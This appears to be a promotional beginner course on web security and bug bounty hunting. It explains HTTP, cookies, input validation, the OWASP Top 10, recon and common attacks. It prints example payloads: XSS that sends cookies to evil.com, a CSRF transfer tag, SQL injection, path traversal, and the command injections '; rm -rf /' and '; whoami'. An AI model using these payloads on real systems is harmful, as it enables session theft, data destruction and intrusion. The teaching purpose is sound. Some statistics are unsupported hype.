Web Security 

What Is Web Security & Why It Matters

🔍 What Exactly Is Web Security?

Web Security (also called Web Application Security) is the practice of protecting websites, web apps, and APIs from attacks that try to steal data, break functionality, or gain unauthorized access.

Every login page you open, every form you submit, every API your mobile app uses — all of them can be targets for hackers.

Web Security ensures that:

• ✔ Sensitive data stays protected

• ✔ Users stay safe

• ✔ Websites don’t get hacked

• ✔ Businesses run without disruption

In simple words:

Web Security = Protecting everything that lives on the Internet.

💥 Why Does Web Security Matter? (Real-World Reasons)

The entire internet runs on websites & APIs.

If they break → Everything breaks.

Here’s why Web Security is one of the most important fields today:

• 1. Hackers attack every 39 seconds

• 2. 90% of attacks happen through web apps

• 3. Simple bugs can lead to massive data leaks

• 4. Companies pay thousands for bug bounty reports

• 5. One vulnerability can expose millions of users

For students, hackers, and cybersecurity learners, Web Security is the core skill that opens the door to:

• Bug bounty

• Penetration testing

• Red teaming

• SOC/Blue team

• Cybersecurity jobs

🕵️ Who Needs to Learn Web Security?

Web Security isn’t just for hackers — it’s for everyone who interacts with the web, including:

• Ethical hackers

• Bug bounty hunters

• Web developers

• App developers

• Cloud engineers

• Cybersecurity students

• API developers

• Network & SOC analysts

If you ever build or test something online, you need Web Security.

⚡ Web Security = Core of Ethical Hacking (The BugiTrix Way)

At BugiTrix, we consider Web Security the foundation of real hacking because:

• Most real-world attacks start on the web

• Most bug bounty rewards are web-based

• Web exploits are the easiest to learn but hardest to master

• It’s the perfect entry point for beginners

• Skills scale directly into APIs, mobile apps, cloud, and DevSecOps

This is why Web Security is your first major step toward becoming a powerful hacker.

How Websites Work (HTTP, HTTPS & Request Lifecycle)

🌍 How Does a Website Actually Work? (Simple Explanation)

When you open a website, a lot happens behind the scenes.

Your browser sends a request → the server processes it → the server sends a response → your browser displays the page.

This entire communication happens through HTTP/HTTPS, the backbone of the web.

Think of it like this:

Browser = Client (You)

Server = The brain of the website

HTTP/HTTPS = The language both use to communicate

📡 What Is HTTP? (HyperText Transfer Protocol)

HTTP is the protocol used to transfer data between your browser and the web server.

But HTTP has one major problem:

❌ It sends data in plain text

Anyone on the network can see what you’re sending — passwords, cookies, or data.

This is why HTTP is not secure and vulnerable to attacks like:

• MITM (Man-in-the-Middle)

• Session hijacking

• Packet sniffing

🔐 What Is HTTPS? (Secure HTTP)

HTTPS = HTTP + Encryption (SSL/TLS)

This makes the communication between client and server:

✔ Encrypted

✔ Secure

✔ Tamper-proof

It protects users from:

• MITM attacks

• Sniffing

• Cookie theft

• Data manipulation

Whenever you see a lock icon 🔒 in the browser, it means HTTPS is active.

Modern websites must use HTTPS — even for login, signup, APIs, payments, sessions, etc.

🔄 The HTTP Request Lifecycle (How a Page Loads)

Here’s the step-by-step lifecycle of a webpage when you hit ENTER:

1️⃣ Client Sends a Request

The browser creates a request containing:

• URL

• HTTP method (GET/POST…)

• Headers

• Cookies

• Parameters (Query or Body)

2️⃣ Server Receives & Processes It

The server checks:

• Is it a valid request?

• Is the user authenticated?

• What data needs to be returned?

• Any server-side logic to run?

3️⃣ Server Sends Response Back

The response contains:

• Status code (200, 404, 500…)

• Headers

• HTML/CSS/JS

• JSON data (for APIs)

4️⃣ Browser Renders the Webpage

Finally, the browser interprets the response and displays the page.

📌 Quick Table: HTTP vs HTTPS

Understanding Web Components

🧠 Why Understanding Web Components Matters for Hackers

To hack or secure a website, you must first understand how it’s built.

Every application has 4 core layers:

1. Frontend (What users see)

2. Backend (The logic and brain)

3. Database (Where sensitive data lives)

4. APIs (How data is transferred between systems)

If you understand these components, exploiting them becomes 10x easier — and securing them becomes 10x stronger.

This is why every ethical hacker, bug bounty hunter, and web developer must learn the architecture of modern web apps.

🎨 Frontend – The User-Facing Layer (HTML, CSS, JS)

The Frontend is everything the user interacts with:

• Pages

• Buttons

• Forms

• Input fields

• JavaScript-based actions

Built using:

• HTML → Structure

• CSS → Design

• JavaScript → Functionality

From a hacker’s perspective:

Frontend is where you look for:

• XSS (Cross-Site Scripting)

• DOM-Based Manipulation

• Client-side validation bypass

• Sensitive info exposed in source code

💡 REMEMBER:

Frontend = Visible surface where hackers often start their recon.

⚙️ Backend – The Brain of the Application

The Backend handles all the logic, authentication, and data processing.

Common backend languages:

• Node.js

• PHP

• Python

• Java

• Ruby

• Go

Backend handles:

• Login/Signup

• Sessions

• Access control

• Data calculations

• File uploads

• Business logic

Hackers target the backend for:

• Authentication bypass

• Authorization flaws (IDOR, Access Control)

• SQL injection

• File upload vulnerabilities

• SSRF, RCE, LFI, RFI

💀 80% of critical vulnerabilities exist in the backend.

🗄 Database – Where the Real Treasure Lies

Databases store everything important:

• Usernames

• Passwords

• Emails

• Payment info

• Tokens

• Logs

• App data

Common DBs:

• MySQL

• PostgreSQL

• MongoDB

• SQLite

• Redis

Hackers attack databases via:

• SQL injection

• NoSQL injection

• Misconfigured database servers

• Credential leaks

📌 One successful SQL injection = Entire database takeover.

🔌 APIs – The Hidden Entry Points

APIs connect the frontend, backend, mobile apps, and cloud systems.

Types of APIs:

• REST APIs

• GraphQL APIs

• Internal APIs

• Third-party APIs

APIs handle:

• Login requests

• Payment processing

• Data transfer

• Mobile app communication

• Cloud services

Common API vulnerabilities:

• Broken Object Level Authorization (BOLA/IDOR)

• Rate limit bypass

• Token leaks

• Mass assignment

• Sensitive data exposure

💡 APIs are the main target for modern bug bounty hunters.

🛠 Quick Table: Web App Components for Hackers

HTTP Methods, Status Codes & Headers Explained

🌐 Why Every Hacker Must Understand HTTP

Before you exploit a website, you must understand how it communicates.

The entire web runs on HTTP — meaning every login request, form submission, API call, cookie, and session passes through it.

So if you master HTTP:

✔ You understand how data travels

✔ You learn where vulnerabilities hide

✔ You start thinking like a real hacker

HTTP is the DNA of web hacking — and this step makes everything clearer.

📤 HTTP Methods (How Clients Talk to the Server)

HTTP methods tell the server what action you want to perform.

Here are the 6 most important ones:

1️⃣ GET – Retrieve Data

Used to fetch information.

Example:

GET /login

Used in:

• Page loading

• Fetching JSON

• Viewing items

Vulnerable to:

• Parameter tampering

• IDOR

• Sensitive data exposure in URL

2️⃣ POST – Send Data

Used to submit forms or send sensitive data.

Example:

POST /login

Used in:

• Login

• Signup

• File upload

• API requests

Hackers check POST requests for:

• SQL injection

• Auth bypass

• CSRF

3️⃣ PUT – Replace Existing Data

Used in APIs to update/modify data completely.

Common in:

PUT /api/user/123

Hackers target PUT for:

• Unauthenticated modification

• Mass assignment flaws

4️⃣ PATCH – Partial Update

Similar to PUT but updates only a portion of data.

Often used in modern APIs.

5️⃣ DELETE – Remove Data

Deletes resources from the server.

If misconfigured, it leads to:

💀 Full account or data deletion without auth.

6️⃣ OPTIONS – Discover Server Capabilities

Not dangerous on its own, but useful for recon.

Hackers use OPTIONS to:

• Check allowed methods

• Identify CORS settings

• Map endpoints

📌 Quick Table: HTTP Methods for Hackers

📡 HTTP Status Codes (How Servers Respond)

These codes tell you what happened with your request.

🔥 2xx – Success

• 200 OK → Request successful

• 201 Created → Resource created

• 204 No Content → Action successful, nothing returned

Great for:

• Testing APIs

• Confirming parameter manipulation works

🚧 3xx – Redirection

• 301/302 → Redirect

  Hackers analyze redirections for:

• Open redirect

• URL bypass

• Login flow weakness

❗ 4xx – Client Errors

• 400 Bad Request

• 401 Unauthorized

• 403 Forbidden

• 404 Not Found

Hackers love finding:

• 403 Forbidden → Try bypassing using alternate methods

• 401 Unauthorized → Try token manipulation

• 404 Not Found → Directory bruteforcing

💀 5xx – Server Errors

• 500 Internal Server Error

• 502 Bad Gateway

• 503 Service Unavailable

Servers exposing 5xx errors often reveal:

• Stack traces

• Sensitive server info

• Misconfigurations

• Vulnerable endpoints

These can lead to full exploitation.

📨 HTTP Headers (Hidden Data Hackers Love)

Headers give crucial information about:

• Cookies

• Sessions

• Server details

• Security controls

• Content type

🔥 Important Headers Hackers Check:

💻 Small Code Example: Basic HTTP Request

GET /dashboard HTTP/1.1
Host: bugitrix.com
User-Agent: Mozilla/5.0
Cookie: session=abc123;
Accept: text/html

You can analyze these in:

• Burp Suite

• HTTP History

• Browser DevTools

• Curl & CLI tools

Cookies, Sessions & Authentication Basics

🍪 What Are Cookies? (The Identity Chips of the Web)

Cookies are small pieces of data stored in your browser.

They help websites remember who you are.

Example uses:

• Staying logged in

• Remembering preferences

• Storing session IDs

• Tracking user activity

A cookie looks like this:

Set-Cookie: session_id=9sj2k3k29a; HttpOnly; Secure; SameSite=Lax;

From a hacker’s perspective, cookies are gold because:

• Weak cookies → session hijacking

• Exposed cookies → account takeover

• Poor security flags → easy exploits

Understanding cookies = understanding access control.

🔐 What Is a Session? (Your Temporary Identity)

A session is what keeps you logged in after authentication.

When you log in, the server creates a unique session and gives you a session ID stored inside a cookie.

Example:

If a hacker steals your session:

💀 They become you.

That’s why session security is one of the most targeted areas in bug bounty.

🧩 Authentication Basics (How Websites Verify You)

Authentication is the process of confirming Who are you?

3 major types:

1️⃣ Password-Based Authentication

Traditional method → username + password

Common attacks:

• Brute force

• Credential stuffing

• Weak password policies

2️⃣ Token-Based Authentication (Modern Websites & APIs)

Instead of sessions, servers use tokens:

• JWT (JSON Web Tokens)

• Bearer tokens

• API tokens

A JWT looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Hackers analyze JWTs for:

• Weak signing

• Missing expiration

• Algorithm changes

• Sensitive data stored inside

3️⃣ Multi-Factor Authentication (MFA)

Adds an extra security layer:

• OTP

• Email code

• Auth apps (Google Auth)

Harder to bypass, but still possible through:

• SIM swapping

• Social engineering

• OTP interception (rare but real)

⚠️ Where Things Go Wrong (Common Vulnerabilities)

Here are the big security mistakes websites make:

🛡 Important Cookie Security Flags

These tiny flags are often the reason for:

✔ preventing attacks

or

❌ causing account takeovers

💀 Real Hacking Vibe: The Classic Cookie Theft Example

<script>
  alert(document.cookie);
</script>

If this works on a site →

It’s vulnerable to XSS, and the hacker can steal session cookies.

This is why understanding cookies & sessions is a must for both web security & bug bounty.

🔥 The BugiTrix Way: Why We Teach This First

Because every single serious web exploit connects back to:

• Authentication bypass

• Cookie manipulation

• Session mismanagement

Mastering this section will make your journey into web attacks (XSS, SQLi, IDOR, CSRF, SSRF, RCE, etc.) much easier.

Input Validation, Sanitization & How Vulnerabilities Are Born

🧩 Why Input Matters in Web Security

Every time a user enters something on a website —

a username, password, search query, file upload, or even a URL parameter…

…they are giving input to the system.

If the input is not properly checked or cleaned, it creates security holes that hackers can exploit.

🔥 This is how MOST web vulnerabilities are born.

(XSS, SQLi, LFI, RCE, Command Injection, and many more)

Understanding input validation is understanding the root cause of web hacking.

🚫 What Is Input Validation? (First Line of Defense)

Input Validation means checking if the data from users is:

• Correct

• Safe

• Expected

Example:

If a website asks for your age:

✔ Valid input → 22

❌ Invalid input → <script>alert(1)</script>

❌ Invalid input → ' OR 1=1 --

❌ Invalid input → ../../etc/passwd

If websites fail to validate inputs → hackers break them.

🔥 Types of Input Validation:

• Type checking → Must be number/string/etc.

• Length checking → Limited characters

• Format validation → Email, phone number, date

• Whitelist validation → Only allow safe input

Hackers bypass validation to craft malicious payloads.

🧼 What Is Sanitization? (Cleaning the Data)

Sanitization means cleaning the user input to remove unsafe characters.

Example:

User enters:

<script>alert(1)</script>

Sanitized version becomes:

<script>alert(1)</script>

This prevents XSS and script execution.

Used to prevent:

• XSS

• HTML Injection

• Template Injection

• RCE (in some cases)

Sanitization = “Clean the data before using it.”

💀 How Vulnerabilities Are Born (Real Hacker Perspective)

Let’s break down how weak handling of input creates major security issues:

1️⃣ XSS (Cross-Site Scripting)

Happens when websites do NOT sanitize HTML/JS input.

Example malicious input:

<script>document.location='https://evil.com?cookie='+document.cookie</script>

2️⃣ SQL Injection

Occurs when user input is inserted into database queries without validation.

Dangerous input:

' OR 1=1 --

This tricks the database into returning all data.

3️⃣ Local File Inclusion (LFI)

Happens when file paths aren’t validated.

Payload:

../../../../etc/passwd

Hackers read sensitive server files.

4️⃣ Command Injection

Occurs when input is passed to system commands.

Payload:

; rm -rf /

If executed — complete system compromise.

5️⃣ SSTI (Server-Side Template Injection)

When user input is interpreted by template engines.

Payload:

{{7*7}}

If output is 49, the app is vulnerable.

📌 The Core Principle

❌ Unvalidated input → attacker controls the website

✔ Validated & sanitized input → secure application

This is why modern secure coding practices always include:

• Input validation

• Output encoding

• Parameterized queries

• Strict content rules

🛠 Examples: Safe vs Unsafe Code

❌ Vulnerable PHP Code (SQLi)

$query = "SELECT * FROM users WHERE username='$user'";

✔ Safe Version (Prepared Statement)

$stmt = $db->prepare("SELECT * FROM users WHERE username=?");
$stmt->execute([$user]);

❌ Vulnerable JavaScript Output (XSS)

document.body.innerHTML = userInput;

✔ Safe Version

element.textContent = userInput;

🔰 The Bugitrix Approach: Learn the Root, Master the Exploit

At Bugitrix, we teach you to think like this:

Before you learn attacks → understand HOW they exist.

Before you exploit systems → understand WHY inputs break them.

Before you become a hacker → become a thinker.

This step builds the mindset for the next sections where we go deeper into:

• XSS

• SQLi

• CSRF

• SSRF

• IDOR

• API flaws

• And real bug bounty exploitation

The OWASP Top 10

🌐 What Is OWASP? (The Hacker’s Bible)

OWASP (Open Web Application Security Project) is a global non-profit that publishes the Top 10 most critical web vulnerabilities every few years.

Think of it as the official list of what hackers exploit the most.

If you want to become a powerful web security expert or bug bounty hunter, the OWASP Top 10 is your must-learn foundation.

BugiTrix teaches the OWASP mindset early because:

✔ It shows the most common real-world weaknesses

✔ Bug bounty reports often match OWASP categories

✔ Recruiters expect this knowledge

✔ It builds a strong hacking foundation

🔥 Beginner Breakdown of OWASP Top 10 (Simple & Practical)

Below is a super beginner-friendly explanation of each category, with hacker insights included.

1️⃣ Broken Access Control (IDOR, Privilege Escalation)

This is the most exploited vulnerability in real-world apps.

Happens when users can access things they shouldn’t.

Examples:

• Viewing someone else’s profile:

  /user?id=102 → change to /user?id=101

• Access admin panels without admin rights

• Editing or deleting other users’ data

This is where IDOR shines — one of the highest-paid bug bounty bugs.

2️⃣ Cryptographic Failures (Weak or No Encryption)

When sensitive data is not properly encrypted, hackers steal it.

Examples:

• Storing passwords in plain text

• No HTTPS

• Leaked API keys

• Weak encryption algorithms

A hacker can sniff, intercept, or decode sensitive info.

3️⃣ Injection (SQLi, NoSQLi, Command Injection)

Occurs when user input is executed directly by the system.

Deadly types:

• SQL Injection → Full database leak

• Command Injection → Full system takeover

• LDAP/ORM/NoSQL Injection → Modern web app attacks

One wrong query → entire website compromised.

4️⃣ Insecure Design (Bad Architecture = Bad Security)

This is not a bug — it’s a flaw in planning.

Examples:

• No brute-force protection

• No rate-limiting

• No secure password policy

• Not thinking about security during development

Hackers exploit poor design decisions.

5️⃣ Security Misconfiguration (The Most Common Mistake)

When a developer forgets to secure something, hackers love it.

Examples:

• Open admin panels

• Default credentials

• Directory listing enabled

• Exposed environment files (.env)

• Misconfigured CORS

90% of beginner-friendly bugs come from this category.

6️⃣ Vulnerable & Outdated Components

Websites rely on:

• Libraries

• Frameworks

• Plugins

If these are outdated → instant vulnerabilities.

Example:

Using an old version of jQuery or Apache can give hackers easy entry.

7️⃣ Identification & Authentication Failures (Login Bypass)

When the authentication system is weak.

Examples:

• No lockout on wrong passwords

• Weak session management

• Token manipulation flaws

• Bypassing login with simple tricks

If authentication fails → everything else is useless.

8️⃣ Software & Data Integrity Failures

This happens when apps rely on untrusted sources or unsafe updates.

Examples:

• Vulnerable CI/CD pipelines

• Unvalidated file uploads

• Malicious software dependencies

Hackers target supply chains to take down entire systems.

9️⃣ Security Logging & Monitoring Failures

If a hack happens but the system never detects it, damage increases.

Examples:

• No logs

• Weak alerting systems

• No monitoring of suspicious behavior

Perfect for stealthy attacks & privilege escalation.

🔟 Server-Side Request Forgery (SSRF)

One of the most powerful bugs today.

Hackers trick the server into making internal requests.

Can lead to:

• Reading internal cloud metadata

• Accessing private networks

• Reaching admin-only endpoints

• Full cloud takeover

Platforms like AWS, Azure, and GCP are vulnerable if SSRF exists.

📌 Quick Table: OWASP Top 10 Summary

🔥 The BugiTrix Advantage

We teach OWASP with:

✔ Real-world examples

✔ Bug bounty insights

✔ Hacker-focused explanations

✔ Step-by-step exploitation mindset

You don’t just learn what OWASP is —

you learn how hackers actually break these systems.

Recon for Web Security

🧠 Why Recon Is the First Step of Every Hack

Before you attack a website…

Before you test for vulnerabilities…

Before you even touch Burp Suite…

You must do Reconnaissance (Recon) → the art of gathering information.

In hacking, recon is like scouting the battlefield before you strike.

Great recon =

✔ more attack surface

✔ more hidden endpoints

✔ more vulnerabilities

✔ more success in bug bounty

This is why real hackers spend 70% of their time on recon.

🌍 Subdomain Enumeration (Finding Hidden Entry Points)

Websites don’t just have one domain like:

bugitrix.com

They have many subdomains, such as:

• admin.bugitrix.com

• api.bugitrix.com

• dev.bugitrix.com

• test.bugitrix.com

These hidden subdomains often contain:

• Admin panels

• API endpoints

• Test environments (full of bugs!)

• Old code

• Experimental features

🔥 Tools for Subdomain Enumeration:

Small Example (Subfinder):

subfinder -d target.com -o subs.txt

Hackers love misconfigured subdomains — they often lead to:

• Takeovers

• Admin access

• Exposed databases

• Old vulnerable apps

📁 Directory & File Discovery (Finding Hidden Pages)

Every website has hidden directories and files:

Examples:

• /admin/

• /backup/

• /test/

• /old/

• /config/

• /uploads/

These locations can reveal:

• Sensitive files

• Debug endpoints

• Backup dumps

• Unprotected dashboards

• Secrets & credentials

🔥 Tools for Directory Bruteforce:

Example (Gobuster):

gobuster dir -u https://target.com -w wordlist.txt

This alone can expose high-severity bugs.

💻 Technology Fingerprinting (Knowing What the Website Uses)

To break a system, you need to understand what it’s built on.

Fingerprinting tells you:

• Web server (Apache, Nginx)

• Programming language (PHP, Node, Python)

• CMS (WordPress, Joomla)

• Frameworks (Laravel, Django)

• JS libraries (React, Vue, jQuery)

• Cloud provider

• CDN

• Email servers

Each technology has known vulnerabilities.

If a site uses old or vulnerable tech → jackpot.

🔥 Tools for Tech Fingerprinting:

Example (WhatWeb):

whatweb https://target.com

📡 DNS & Endpoint Recon (Finding Internal Structure)

Recon also includes:

• DNS records

• API endpoints

• IP ranges

• Cloud storage buckets

• Email infrastructure

• CDN info

Example findings:

• Unprotected S3 buckets

• Internal IP leakage

• Development APIs

• Old staging servers

Tools:

• DNSX

• Nmap

• MassDNS

These help hackers expand the attack surface.

📌 The Recon Cycle (Bugitrix Style)

Here’s the simple hacker workflow:

1️⃣ Find all subdomains

2️⃣ Check for alive hosts

3️⃣ Discover hidden directories

4️⃣ Identify tech stack

5️⃣ Scan for endpoints

6️⃣ Look for outdated/weak components

7️⃣ Build an attack plan

Great recon = bigger chances of finding:

• XSS

• SQLi

• IDOR

• RCE

• SSRF

• Misconfigurations

• API flaws

🔥 Why Bugitrix Focuses on Recon Early

Because real hacking begins with information.

Our goal is to train you to think like a hacker:

→ Gather data

→ Map the target

→ Build attack surface

→ Strike with precision

This step makes you ready for the next chapter:

Web Attacks 101

🔥 Welcome to Real Web Hacking

Everything you learned so far — HTTP, cookies, headers, input validation, recon — leads to this point.

Now you enter the world of actual web attacks.

These are the vulnerabilities that real hackers exploit in:

• Bug bounty programs

• Pentesting engagements

• Enterprise security assessments

This section gives you a clean, simple intro to the 6 major attack types you’ll master later.

Let’s begin 👇

1️⃣ XSS (Cross-Site Scripting) 😈 → Steal Cookies & Run Scripts

XSS happens when websites allow attackers to inject JavaScript.

Example Payload:

<script>alert('XSS')</script>

Hacker Impact:

• Steal cookies

• Deface webpages

• Fake login forms

• Redirect users

• Hijack sessions

XSS exists in:

✔ Input fields

✔ Comment boxes

✔ Search bars

✔ URL parameters

✔ DOM elements

XSS is one of the most common web bugs.

2️⃣ SQL Injection (SQLi) 💾 → Database Takeover

SQLi occurs when user input reaches database queries without sanitization.

Classic Payload:

' OR 1=1 --

Hacker Impact:

• Dump entire database

• Login without password

• Delete or modify records

• Execute server functions (in some cases)

SQLi is rare today but still high value in bug bounty.

3️⃣ CSRF (Cross-Site Request Forgery) 🎯 → Force Users to Do Actions

CSRF tricks a victim’s browser into performing an action without their permission.

Example:

If you are logged into your bank account & visit a malicious site…

You can be forced to send a request like:

<img src="https://bank.com/transfer?amount=5000&to=hacker">

Hacker Impact:

• Transfer money

• Change email/password

• Post content

• Update account settings

Websites prevent CSRF using:

• Tokens

• SameSite cookies

• Proper validation

4️⃣ SSRF (Server-Side Request Forgery) 🔍 → Hack the Server From Inside

SSRF lets a hacker trick a server into making requests where it should not.

Example Payload:

http://localhost/admin

Hacker Impact:

• Access internal admin panels

• Reach cloud metadata (AWS)

• Read internal files

• Trigger internal APIs

• Full cloud account takeover

SSRF is one of the highest-paying bug bounty vulnerabilities today.

5️⃣ RCE (Remote Code Execution) 💀 → Full System Takeover

RCE happens when attackers can execute commands on the server.

Example payload:

; whoami

Hacker Impact:

• Full server control

• Creating backdoors

• Reading sensitive files

• Deploying malware

• Taking over the entire application

RCE is the endgame of hacking — rare but extremely dangerous.

6️⃣ IDOR (Insecure Direct Object Reference) 🔓 → Unauthorized Access

IDOR allows hackers to access or modify resources just by manipulating IDs.

Example:

/user?id=123  → change to → /user?id=124

Hacker Impact:

• View others’ profiles

• Access private documents

• Modify other users’ data

• Delete resources

• Perform admin-level actions

IDOR is the #1 bug in bug bounty programs worldwide.

📌 Quick Summary Table – Web Attacks 101

⚡ The Bugitrix Way (Why This Step Matters)

This step gives you the mindset of a real attacker:

→ Where to look

→ What to test

→ How vulnerabilities happen

→ Why certain bugs pay more

Understanding these attacks prepares you for deeper sections like:

• Web exploitation

• API hacking

• Practical labs

• Bug bounty methodologies

• Real-world pentesting techniques